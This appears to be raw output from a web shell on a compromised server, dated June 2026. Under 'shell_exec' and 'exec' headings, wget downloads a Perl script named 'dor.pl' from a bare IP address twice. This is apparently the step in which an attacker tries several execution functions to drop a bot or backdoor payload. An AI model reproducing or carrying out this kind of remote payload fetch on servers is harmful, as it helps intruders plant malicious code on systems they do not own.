<pre>=== shell_exec output ===
--2026-06-13 05:40:23--  http://192.253.248.9/dor.pl
Connecting to 192.253.248.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29426 (29K) [text/x-perl]
Saving to: 'dor.pl'

     0K .......... .......... ........                        100%  206K=0.1s

2026-06-13 05:40:24 (206 KB/s) - 'dor.pl' saved [29426/29426]


=== exec output ===
--2026-06-13 05:40:24--  http://192.253.248.9/dor.pl
Connecting to 192.253.248.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29426 (29K) [text/x-perl]
Saving to: 'dor.pl.1'

     0K .......... .......... ........                        100%  203K=0.1s

2026-06-13 05:40:24 (203 KB/s) - 'dor.pl.1' saved [29426/29426]

</pre>